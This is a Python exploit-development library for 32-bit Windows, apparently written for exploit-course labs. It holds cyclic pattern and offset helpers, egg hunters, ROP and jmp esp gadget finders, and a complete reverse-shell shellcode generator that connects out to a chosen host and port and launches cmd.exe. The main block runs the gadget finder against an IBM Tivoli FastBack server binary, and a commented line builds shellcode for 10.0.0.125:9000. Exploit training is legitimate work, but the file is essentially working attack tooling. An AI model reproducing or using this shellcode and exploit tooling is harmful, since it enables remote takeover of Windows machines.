"""
Lib for automation some of the exploit process

Credits to ickerwx for pattern create and offset code that was written in python2
https://github.com/ickerwx/pattern

Classes:
    Pattern
    Instructions
    Rop
    Shellcode

Functions:
    test

Misc variables:
    test
"""
import sys
import struct  
import keystone as ks
import capstone as cs
import pefile
import numpy 
import json
from contextlib import redirect_stdout

class Pattern():
    """
    A class to access pattern_offset and pattern_create

    Methods
    -------
    print_help():
        Print usage for standalone scripts

    pattern_create():
        Return pattern as STRING length is determined in constructor, convert to bytes before sending in buffer ie. bytes(pattern,"ascii")

    pattern_offset(value=0xffffff):
        Return pattern offset as int
    """
    def __init__(self,buffer_length):
        self.buffer_length = buffer_length

    def print_help():
        print(f"Usage: {sys.argv[0]} (create | offset) <value> <buflen>")
        sys.exit(0)

    def pattern_create(self):
        length = self.buffer_length
        pattern = ""
        parts = ["A","a","0"]
        try:
            if not isinstance(length,(int)):
                length = int(length)
        except Exception as e:
            print(f"::: Error creating pattern -> {e} :::")
            self.print_help()
        while len(pattern) != length:
            pattern += parts[len(pattern) % 3]
            if len(pattern) % 3 == 0:
                parts[2] = chr(ord(parts[2]) + 1)
                if parts[2] > '9':
                    parts[2] = '0'
                    parts[1] = chr(ord(parts[1])+1)
                    if parts[1] > 'z':
                        parts[1] = 'a'
                        parts[0] = chr(ord(parts[0]) +1)
                        if parts[0] > 'Z':
                            parts[0] = 'A'
        return pattern
    
    def pattern_offset(self,offset_value):
        length = self.buffer_length
        value = offset_value
        try:
            if not isinstance(value,int) and value.startswith("0x"):
                value_stripped = value.strip("0x")
                value = struct.pack("<I",int(value_stripped,16))
            elif not isinstance(value,int):
                value = struct.pack("<I",int(value,16))
            else:
                value = struct.pack("<I",int(value))
        except Exception as e:
            print(f"::: Failed to pack offset -> {e} :::")
            return False
        try:
            str_value = value.decode("ascii")
            pattern = self.pattern_create()
        except Exception as e:
            print(f"::: Failed to decode offset to ascii -> {e} :::")
            return False
        try:
            return pattern.index(str_value)
        except Exception as e:
            return "Offset Not Found"


class Instructions():
    """
    A class to access convert assembly to shellcode bytes, as well as create egghunters
    All methods within this class are static

    Methods
    -------
    convert_shellcode(list("jmp esp     ;")):
        convert list of assembly strings into shellcode

    create_egg_hunter_sys_call(egg=0xffffff):
        return egg hunter sys call as bytes

    create_egg_hunter_seh(egg=0xffffff):
        return egg hunter seh as bytes

    create_rev_shellcode("0.0.0.0",443):
        returns rev shell as bytes
        -> credits to @epi052 <-
        https://github.com/epi052/osed-scripts/blob/main/shellcoder.py
    """    
    def convert_shellcode(assembly):
        eng = ks.Ks(ks.KS_ARCH_X86,ks.KS_MODE_32)
        shellcode = "\n".join(assembly)
        encoding,count = eng.asm(shellcode,as_bytes=True)
        return encoding
    def create_egg_hunter_sys_call(egg=0x74303077):
        # default egg w00tw00t
        # uses x86 windows 10 syscall number
        if not isinstance(egg,int): raise ValueError("Egg must be an INT in little endian format -> 0x74303077")
        egg_hunter_string = """
         loop_inc_page:
            or dx, 0x0fff           ;
        loop_inc_one:
            inc edx                 ;
        loop_check:
            push edx                ;
            mov eax, 0xfffffe3a     ;
            neg eax                 ;
            int 0x2e                ; 
            cmp al, 05              ; 
            pop edx                 ; 
        loop_check_valid:
            je loop_inc_page        ; 
        is_egg:
            mov eax, {}     ; 
            mov edi, edx            ;
            scasd                   ; 
            jnz loop_inc_one        ; 
            scasd                   ; 
            jnz loop_inc_one        ; 
        matched:
            jmp edi                 ;""".format(hex(egg))
        eng = ks.Ks(ks.KS_ARCH_X86,ks.KS_MODE_32)
        encoding,count = eng.asm(egg_hunter_string,as_bytes=True)
        print("::: Creating Windows 10 Syscall Egg Hunter with egg {} total size {} :::".format(hex(egg),count))
        return encoding

    def create_egg_hunter_seh(egg=0x74303077):
        # default egg w00tw00t
        if not isinstance(egg,int): raise ValueError("Egg must be an INT in little endian format -> 0x74303077")
        seh_egg_hunter_string = """
        start:
            jmp get_seh_address                 ;
        build_exception_record:
            pop ecx                             ;
            mov eax, {}     ;
            push ecx                            ;
            push 0xffffffff                     ;
            xor ebx,ebx                         ;
            mov dword ptr fs:[ebx], esp         ;
            sub ecx, 0x04                       ;
            add ebx, 0x04                       ;
            mov dword ptr fs:[ebx], ecx         ;
        is_egg:
            push 0x02                           ;
            pop ecx                             ;
            mov edi,ebx                         ;
            repe scasd                          ;
            jnz loop_inc_one                    ;
            jmp edi                             ;
        loop_inc_page:
            or bx,0xfff                         ;
        loop_inc_one:
            inc ebx                             ;
            jmp is_egg                          ;
        get_seh_address:
            call build_exception_record         ;
            push 0x0c                           ;
            pop ecx                             ;
            mov eax,[esp+ecx]                   ;
            mov cl,0xb8                         ;
            add dword ptr ds:[eax+ecx],0x06     ;
            pop eax                             ;
            add esp, 0x10                       ;
            push eax                            ;
            xor eax,eax                         ;
            ret                                 ;""".format(hex(egg))
        eng = ks.Ks(ks.KS_ARCH_X86,ks.KS_MODE_32)
        encoding,count = eng.asm(seh_egg_hunter_string,as_bytes=True)
        print("::: Creating Windows SEH Egg Hunter with egg {} total size {} :::".format(hex(egg),count))
        return encoding

    def create_rev_shellcode(lhost,lport):
        eng = ks.Ks(ks.KS_ARCH_X86,ks.KS_MODE_32)
        shellcode = Instructions.rev_shellcode(lhost,lport)
        encoding,count = eng.asm(shellcode,as_bytes=True)
        print("::: Creating Reverse shell code total size {} :::".format(count))
        return encoding

    ###### HELPERS FOR REV SHELLCODE ###########
    #########################################
    ##### Taken from epi github ##### => https://github.com/epi052/osed-script
    def to_hex(s):
        retval = list()
        for char in s:
            retval.append(hex(ord(char)).replace("0x", ""))
        return "".join(retval)


    def to_sin_ip(ip_address):
        ip_addr_hex = []
        for block in ip_address.split("."):
            ip_addr_hex.append(format(int(block), "02x"))
        ip_addr_hex.reverse()
        return "0x" + "".join(ip_addr_hex)


    def to_sin_port(port):
        port_hex = format(int(port), "04x")
        return "0x" + str(port_hex[2:4]) + str(port_hex[0:2])

    def ror_str(byte, count):
        binb = numpy.base_repr(byte, 2).zfill(32)
        while count > 0:
            binb = binb[-1] + binb[0:-1]
            count -= 1
        return (int(binb, 2))

    def push_function_hash(function_name):
        edx = 0x00
        ror_count = 0
        for eax in function_name:
            edx = edx + ord(eax)
            if ror_count < len(function_name)-1:
                edx = Instructions.ror_str(edx, 0xd)
            ror_count += 1
        return ("push " + hex(edx))

    def rev_shellcode(rev_ip_addr, rev_port, breakpoint=0):
        push_instr_terminate_hash = Instructions.push_function_hash("TerminateProcess")
        push_instr_loadlibrarya_hash = Instructions.push_function_hash("LoadLibraryA")
        push_instr_createprocessa_hash = Instructions.push_function_hash("CreateProcessA")
        push_instr_wsastartup_hash = Instructions.push_function_hash("WSAStartup")
        push_instr_wsasocketa_hash = Instructions.push_function_hash("WSASocketA")
        push_instr_wsaconnect_hash = Instructions.push_function_hash("WSAConnect")
        
        asm = [
            "   start:                               ",
            f"{['', 'int3;'][breakpoint]}            ",
            "       mov ebp, esp                    ;",  # 
            "       add esp, 0xfffff9f0             ;",  # Avoid NULL bytes
            "   find_kernel32:                       ",
            "       xor ecx,ecx                     ;",  # ECX = 0
            "       mov esi,fs:[ecx+30h]            ;",  # ESI = &(PEB) ([FS:0x30])
            "       mov esi,[esi+0Ch]               ;",  # ESI = PEB->Ldr
            "       mov esi,[esi+1Ch]               ;",  # ESI = PEB->Ldr.InInitOrder
            "   next_module:                         ",
            "       mov ebx, [esi+8h]               ;",  # EBX = InInitOrder[X].base_address
            "       mov edi, [esi+20h]              ;",  # EDI = InInitOrder[X].module_name
            "       mov esi, [esi]                  ;",  # ESI = InInitOrder[X].flink (next)
            "       cmp [edi+12*2], cx              ;",  # (unicode) modulename[12] == 0x00?
            "       jne next_module                 ;",  # No: try next module.
            "   find_function_shorten:               ",
            "       jmp find_function_shorten_bnc   ;",  # Short jump
            "   find_function_ret:                   ",
            "       pop esi                         ;",  # POP the return address from the stack
            "       mov [ebp+0x04], esi             ;",  # Save find_function address for later usage
            "       jmp resolve_symbols_kernel32    ;",  # 
            "   find_function_shorten_bnc:           ",
            "       call find_function_ret          ;",  # Relative CALL with negative offset
            "   find_function:                       ",
            "       pushad                          ;",  # Save all registers from Base address of kernel32 is in EBX Previous step (find_kernel32)
            "       mov eax, [ebx+0x3c]             ;",  # Offset to PE Signature
            "       mov edi, [ebx+eax+0x78]         ;",  # Export Table Directory RVA
            "       add edi, ebx                    ;",  # Export Table Directory VMA
            "       mov ecx, [edi+0x18]             ;",  # NumberOfNames
            "       mov eax, [edi+0x20]             ;",  # AddressOfNames RVA
            "       add eax, ebx                    ;",  # AddressOfNames VMA
            "       mov [ebp-4], eax                ;",  # Save AddressOfNames VMA for later
            "   find_function_loop:                  ",
            "       jecxz find_function_finished    ;",  # Jump to the end if ECX is 0
            "       dec ecx                         ;",  # Decrement our names counter
            "       mov eax, [ebp-4]                ;",  # Restore AddressOfNames VMA
            "       mov esi, [eax+ecx*4]            ;",  # Get the RVA of the symbol name
            "       add esi, ebx                    ;",  # Set ESI to the VMA of the current
            "   compute_hash:                        ",
            "       xor eax, eax                    ;",  # NULL EAX
            "       cdq                             ;",  # NULL EDX
            "       cld                             ;",  # Clear direction
            "   compute_hash_again:                  ",
            "       lodsb                           ;",  # Load the next byte from esi into al
            "       test al, al                     ;",  # Check for NULL terminator
            "       jz compute_hash_finished        ;",  # If the ZF is set, we've hit the NULL term
            "       ror edx, 0x0d                   ;",  # Rotate edx 13 bits to the right
            "       add edx, eax                    ;",  # Add the new byte to the accumulator
            "       jmp compute_hash_again          ;",  # Next iteration
            "   compute_hash_finished:               ",
            "   find_function_compare:               ",
            "       cmp edx, [esp+0x24]             ;",  # Compare the computed hash with the requested hash
            "       jnz find_function_loop          ;",  # If it doesn't match go back to find_function_loop
            "       mov edx, [edi+0x24]             ;",  # AddressOfNameOrdinals RVA
            "       add edx, ebx                    ;",  # AddressOfNameOrdinals VMA
            "       mov cx, [edx+2*ecx]             ;",  # Extrapolate the function's ordinal
            "       mov edx, [edi+0x1c]             ;",  # AddressOfFunctions RVA
            "       add edx, ebx                    ;",  # AddressOfFunctions VMA
            "       mov eax, [edx+4*ecx]            ;",  # Get the function RVA
            "       add eax, ebx                    ;",  # Get the function VMA
            "       mov [esp+0x1c], eax             ;",  # Overwrite stack version of eax from pushad
            "   find_function_finished:              ",
            "       popad                           ;",  # Restore registers
            "       ret                             ;",  #
            "   resolve_symbols_kernel32:            ",
            push_instr_terminate_hash,                   # TerminateProcess hash
            "       call dword ptr [ebp+0x04]       ;",  # Call find_function
            "       mov [ebp+0x10], eax             ;",  # Save TerminateProcess address for later
            push_instr_loadlibrarya_hash,                # LoadLibraryA hash
            "       call dword ptr [ebp+0x04]       ;",  # Call find_function
            "       mov [ebp+0x14], eax             ;",  # Save LoadLibraryA address for later
            push_instr_createprocessa_hash,              # CreateProcessA hash
            "       call dword ptr [ebp+0x04]       ;",  # Call find_function
            "       mov [ebp+0x18], eax             ;",  # Save CreateProcessA address for later
            "   load_ws2_32:                         ",
            "       xor eax, eax                    ;",  # Null EAX
            "       mov ax, 0x6c6c                  ;",  # Move the end of the string in AX
            "       push eax                        ;",  # Push EAX on the stack with string NULL terminator
            "       push 0x642e3233                 ;",  # Push part of the string on the stack
            "       push 0x5f327377                 ;",  # Push another part of the string on the stack
            "       push esp                        ;",  # Push ESP to have a pointer to the string
            "       call dword ptr [ebp+0x14]       ;",  # Call LoadLibraryA
            "   resolve_symbols_ws2_32:              ",
            "       mov ebx, eax                    ;",  # Move the base address of ws2_32.dll to EBX
            push_instr_wsastartup_hash,                  # WSAStartup hash
            "       call dword ptr [ebp+0x04]       ;",  # Call find_function
            "       mov [ebp+0x1C], eax             ;",  # Save WSAStartup address for later usage
            push_instr_wsasocketa_hash,                  # WSASocketA hash
            "       call dword ptr [ebp+0x04]       ;",  # Call find_function
            "       mov [ebp+0x20], eax             ;",  # Save WSASocketA address for later usage
            push_instr_wsaconnect_hash, 		     # WSAConnect hash
            "       call dword ptr [ebp+0x04]       ;",  # Call find_function
            "       mov [ebp+0x24], eax             ;",  # Save WSAConnect address for later usage
            "   call_wsastartup:                    ;",
            "       mov eax, esp                    ;",  # Move ESP to EAX
            "       xor ecx, ecx                    ;",
            "       mov cx, 0x590                   ;",  # Move 0x590 to CX
            "       sub eax, ecx                    ;",  # Substract CX from EAX to avoid overwriting the structure later
            "       push eax                        ;",  # Push lpWSAData
            "       xor eax, eax                    ;",  # Null EAX
            "       mov ax, 0x0202                  ;",  # Move version to AX
            "       push eax                        ;",  # Push wVersionRequired
            "       call dword ptr [ebp+0x1C]       ;",  # Call WSAStartup
            "   call_wsasocketa:                     ",
            "       xor eax, eax                    ;",  # Null EAX
            "       push eax                        ;",  # Push dwFlags
            "       push eax                        ;",  # Push g
            "       push eax                        ;",  # Push lpProtocolInfo
            "       mov al, 0x06                    ;",  # Move AL, IPPROTO_TCP
            "       push eax                        ;",  # Push protocol
            "       sub al, 0x05                    ;",  # Substract 0x05 from AL, AL = 0x01
            "       push eax                        ;",  # Push type
            "       inc eax                         ;",  # Increase EAX, EAX = 0x02
            "       push eax                        ;",  # Push af
            "       call dword ptr [ebp+0x20]       ;",  # Call WSASocketA
            "   call_wsaconnect:                     ",
            "       mov esi, eax                    ;",  # Move the SOCKET descriptor to ESI
            "       xor eax, eax                    ;",  # Null EAX
            "       push eax                        ;",  # Push sin_zero[]
            "       push eax                        ;",  # Push sin_zero[]
            f"      push {Instructions.to_sin_ip(rev_ip_addr)}   ;",  # Push sin_addr (example: 192.168.2.1)
            f"      mov ax, {Instructions.to_sin_port(rev_port)} ;",  # Move the sin_port (example: 443) to AX
            "       shl eax, 0x10                   ;",  # Left shift EAX by 0x10 bytes
            "       add ax, 0x02                    ;",  # Add 0x02 (AF_INET) to AX
            "       push eax                        ;",  # Push sin_port & sin_family
            "       push esp                        ;",  # Push pointer to the sockaddr_in structure
            "       pop edi                         ;",  # Store pointer to sockaddr_in in EDI
            "       xor eax, eax                    ;",  # Null EAX
            "       push eax                        ;",  # Push lpGQOS
            "       push eax                        ;",  # Push lpSQOS
            "       push eax                        ;",  # Push lpCalleeData
            "       push eax                        ;",  # Push lpCalleeData
            "       add al, 0x10                    ;",  # Set AL to 0x10
            "       push eax                        ;",  # Push namelen
            "       push edi                        ;",  # Push *name
            "       push esi                        ;",  # Push s
            "       call dword ptr [ebp+0x24]       ;",  # Call WSAConnect
            "   create_startupinfoa:                 ",
            "       push esi                        ;",  # Push hStdError
            "       push esi                        ;",  # Push hStdOutput
            "       push esi                        ;",  # Push hStdInput
            "       xor eax, eax                    ;",  # Null EAX
            "       push eax                        ;",  # Push lpReserved2
            "       push eax                        ;",  # Push cbReserved2 & wShowWindow
            "       mov al, 0x80                    ;",  # Move 0x80 to AL
            "       xor ecx, ecx                    ;",  # Null ECX
            "       mov cl, 0x80                    ;",  # Move 0x80 to CX
            "       add eax, ecx                    ;",  # Set EAX to 0x100
            "       push eax                        ;",  # Push dwFlags
            "       xor eax, eax                    ;",  # Null EAX
            "       push eax                        ;",  # Push dwFillAttribute
            "       push eax                        ;",  # Push dwYCountChars
            "       push eax                        ;",  # Push dwXCountChars
            "       push eax                        ;",  # Push dwYSize
            "       push eax                        ;",  # Push dwXSize
            "       push eax                        ;",  # Push dwY
            "       push eax                        ;",  # Push dwX
            "       push eax                        ;",  # Push lpTitle
            "       push eax                        ;",  # Push lpDesktop
            "       push eax                        ;",  # Push lpReserved
            "       mov al, 0x44                    ;",  # Move 0x44 to AL
            "       push eax                        ;",  # Push cb
            "       push esp                        ;",  # Push pointer to the STARTUPINFOA structure
            "       pop edi                         ;",  # Store pointer to STARTUPINFOA in EDI
            "   create_cmd_string:                   ",
            "       mov eax, 0xff9a879b             ;",  # Move 0xff9a879b into EAX
            "       neg eax                         ;",  # Negate EAX, EAX = 00657865
            "       push eax                        ;",  # Push part of the "cmd.exe" string
            "       push 0x2e646d63                 ;",  # Push the remainder of the "cmd.exe"
            "       push esp                        ;",  # Push pointer to the "cmd.exe" string
            "       pop ebx                         ;",  # Store pointer to the "cmd.exe" string
            "   call_createprocessa:                 ",
            "       mov eax, esp                    ;",  # Move ESP to EAX
            "       xor ecx, ecx                    ;",  # Null ECX
            "       mov cx, 0x390                   ;",  # Move 0x390 to CX
            "       sub eax, ecx                    ;",  # Substract CX from EAX to avoid overwriting the structure later
            "       push eax                        ;",  # Push lpProcessInformation
            "       push edi                        ;",  # Push lpStartupInfo
            "       xor eax, eax                    ;",  # Null EAX
            "       push eax                        ;",  # Push lpCurrentDirectory
            "       push eax                        ;",  # Push lpEnvironment
            "       push eax                        ;",  # Push dwCreationFlags
            "       inc eax                         ;",  # Increase EAX, EAX = 0x01 (TRUE)
            "       push eax                        ;",  # Push bInheritHandles
            "       dec eax                         ;",  # Null EAX
            "       push eax                        ;",  # Push lpThreadAttributes
            "       push eax                        ;",  # Push lpProcessAttributes
            "       push ebx                        ;",  # Push lpCommandLine
            "       push eax                        ;",  # Push lpApplicationName
            "       call dword ptr [ebp+0x18]       ;",  # Call CreateProcessA
            "   exec_shellcode:                      ",
            "       xor ecx, ecx                    ;",  # Null ECX
            "       push ecx                        ;",  # uExitCode
            "       push 0xffffffff                 ;",  # hProcess
            "       call dword ptr [ebp+0x10]       ;",  # Call TerminateProcess
        ]
        return "\n".join(asm)
        ####

class Rop():
    """
    A class to access resolve rop gadgets as well as pop pop ret instructions and jmp esp
    Also contains methods to view PE information, Unfortunately doesnt fully traverse .text section.
    And does not return all possible instructions but it gets the job done most of the time.

    Methods
    -------
    print_information:
        print pe information

    find_rop_gadgets:
        print rop gadgets

    find_pop_pop_ret:
        print and returns a single pop pop return address

    find_jmp_esp::
        print and returns a single jmp esp address

    check_protections:
        called by print_information to show pe protections

    """
    def __init__(self,path):
        self.path_to_pe = path
        self.csEngine = cs.Cs(cs.CS_ARCH_X86,cs.CS_MODE_32)
        self.csEngine.skipdata = True # will skip invalid opcodes
        self.pe = pefile.PE(self.path_to_pe,fast_load=True)
        self.image_base = self.pe.OPTIONAL_HEADER.ImageBase
        self.entry_point = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
        self.dll_char = self.pe.OPTIONAL_HEADER.DllCharacteristics
        self.size_of_text_section = self.pe.OPTIONAL_HEADER.SizeOfCode
        self.bad_ops = ["clts", "hlt", "lmsw", "ltr", "lgdt", "lidt" ,"lldt", "mov cr", "mov dr",
        "mov tr", "in ", "ins", "invlpg", "invd", "out", "outs", "cli", "sti"
        "popf", "pushf", "int", "iret", "iretd", "swapgs", "wbinvd", "call",
        "jmp", "leave", "ja", "jb", "jc", "je", "jr", "jg", "jl", "jn", "jo",
        "jp", "js", "jz", "lock", "enter", "wait", "???"]

    def print_information(self):
        base_address_of_code_rva = self.pe.OPTIONAL_HEADER.BaseOfCode
        text_section_start = self.image_base + base_address_of_code_rva
        text_section_end = self.image_base + base_address_of_code_rva + self.size_of_text_section
        print("::: Information :::")
        print("Entry Point ->",hex(self.entry_point + self.image_base))
        print("Image Base  ->",hex(self.image_base))
        print("Image End   ->",hex(self.pe.OPTIONAL_HEADER.SizeOfImage+self.image_base))
        print("Size .text  ->",hex(self.size_of_text_section))
        print(".text start ->",hex(text_section_start))
        print(".text end   ->",hex(text_section_end))
        print("::: Sections :::")
        for section in self.pe.sections:
            print(section.Name.decode("ascii"),hex(section.VirtualAddress),section.SizeOfRawData)
        print("::: Protections :::")
        self.check_protections()

    def check_protections(self):
        if self.dll_char & 0x0040:
            print("::: ASLR Enabled ::: ")
        if self.dll_char & 0x0100:
            print("::: DEP Enabled :::")
        if self.dll_char & 0x4000:
            print("::: CFG Supported :::")
        if self.dll_char & 0x0400:
            print("::: SEH Not Used :::")
            
    def find_jmp_esp(self):
        print("::: Finding jmp esp :::")
        print("::: Searching .text only :::")
        data = self.pe.sections[0].get_data()[::]
        for (address,size,mnemonic,op_str) in self.csEngine.disasm_lite(data,self.pe.sections[0].VirtualAddress):
            if mnemonic == "jmp" and op_str == "esp":
                absolute_addr = self.image_base + address
                print("::: Found jmp esp :::")
                print("::: {} ::: {} ::: {} {}".format(hex(absolute_addr),hex(address),mnemonic,op_str))
                return absolute_addr

    def find_pop_pop_ret(self):
        print("::: Finding Pop Pop Ret :::")
        print("::: Searching .text only :::")
        data = self.pe.sections[0].get_data()[::]
        print(len(data))
        possible_addresses = []
        pop_pop_ret = []
        for (address,size,mnemonic,op_str) in self.csEngine.disasm_lite(data,self.pe.sections[0].VirtualAddress):
            # flawed way to check lol
            if mnemonic == "pop" or mnemonic == "ret":
                absolute_addr = self.image_base + address
                address_and_opcodes = {
                    "absolute_addr":absolute_addr,
                    "address":address,
                    "mnemonic":mnemonic,
                    "op_str":op_str
                }
                possible_addresses.append(address_and_opcodes)
        for x in range(len(possible_addresses)-1):
            try:
                if possible_addresses[x]["address"] + 1 == possible_addresses[x+1]["address"] and possible_addresses[x]["address"] + 2 == possible_addresses[x+2]["address"] and possible_addresses[x+2]["mnemonic"] == "ret" and possible_addresses[x+2]["op_str"] == "":
                        print("::: {}  {}  {} {}".format(hex(possible_addresses[x]["absolute_addr"]),hex(possible_addresses[x]["address"]),possible_addresses[x]["mnemonic"],possible_addresses[x]["op_str"]),end=" ::: ")
                        print("::: {}  {}  {} {}".format(hex(possible_addresses[x+1]["absolute_addr"]),hex(possible_addresses[x+1]["address"]),possible_addresses[x+1]["mnemonic"],possible_addresses[x+1]["op_str"]),end=" ::: ")
                        print("::: {}  {}  {} {}".format(hex(possible_addresses[x+2]["absolute_addr"]),hex(possible_addresses[x+2]["address"]),possible_addresses[x+2]["mnemonic"],possible_addresses[x+2]["op_str"]))
                        pop_pop_ret.append(possible_addresses[x])
                        x+=2
            except IndexError as e:
                break
            except Exception as e:
                print(e)
                print("Unexpected Error Exiting...")
                sys.exit(0)
        return pop_pop_ret[-1]["absolute_addr"]

    def find_rop_gadgets(self,max_rop_size = 8,rop_file_name="rop_out.txt"):
        data = self.pe.sections[0].get_data()[::]
        possible_gadgets = []
        counter = 0
        temp_instructions_saved = [] 
        for (address,size,mnemonic,op_str) in self.csEngine.disasm_lite(data,self.pe.sections[0].VirtualAddress):
            # save up to x instructions until you hit a ret, once ret is hit save in seperate array?
            # if more than x instructions pass just reset counter and throw away instructions
            # re use same list
            if mnemonic in self.bad_ops:
                counter = 0
                temp_instructions_saved.clear()
                continue
            if mnemonic == "ret":
                temp_object = {
                    "absolute_addr":hex(self.image_base + address),
                    "address":hex(address),
                    "mnemonic":mnemonic,
                    "op_str":op_str
                }
                temp_instructions_saved.append(temp_object)
                if counter > max_rop_size:
                    counter = 0
                    temp_instructions_saved.clear()
                    continue
                else:
                    possible_gadgets.append(temp_instructions_saved.copy())
                    temp_instructions_saved.clear()
            else:
                temp_object = {
                    "absolute_addr":hex(self.image_base + address),
                    "address":hex(address),
                    "mnemonic":mnemonic,
                    "op_str":op_str
                }
                temp_instructions_saved.append(temp_object)
                counter +=1
        print("::: Latortuga Attempting To Find Gadgets :::")
        print("Not a replacement for Rop++")
        print("Total gadgets found " + str(len(possible_gadgets)))
        try:
            with open(rop_file_name,"w") as f:
                with redirect_stdout(f):
                    print("::: Latortuga Attempting To Find Gadgets :::")
                    print("Not a replacement for rop++")
                    print("Total gadgets found " + str(len(possible_gadgets)))
                    for x in range(len(possible_gadgets)):
                        print(f"######## {x} ##########")
                        for op in possible_gadgets[x]:
                            print(json.dumps(op))
                        print("##################")
            print(f"::: Wrote Gadgets to {rop_file_name} :::")
            return True
        except Exception as e:
            print(e)
            print(f"Error Writing Gadgets To {rop_file_name}")
            return False


if __name__ == "__main__":
    Rop(r"C:\Program Files\Tivoli\TSM\FastBack\server\FastBackServer.exe").find_rop_gadgets(5,"rop_gadgets.txt")
    #print(Instructions.create_rev_shellcode("10.0.0.125",9000))
    #Instructions.create_rev_shellcode()

    '''
    #Instruciton Class
    Instructions.convert_shellcode(["jmp esp           ;"])

    #Rop Class
    Rop("..\Chapter3\VulnApp1.exe").find_pop_pop_ret()
    Rop("..\Chapter3\VulnApp1.exe").find_jmp_esp()
    Rop("..\Chapter3\VulnApp1.exe").print_information()

    #Pattern Class
    return bytes(Pattern(length).pattern_create(),"ascii")
    return Pattern(length).pattern_offset(0x33794332)
    '''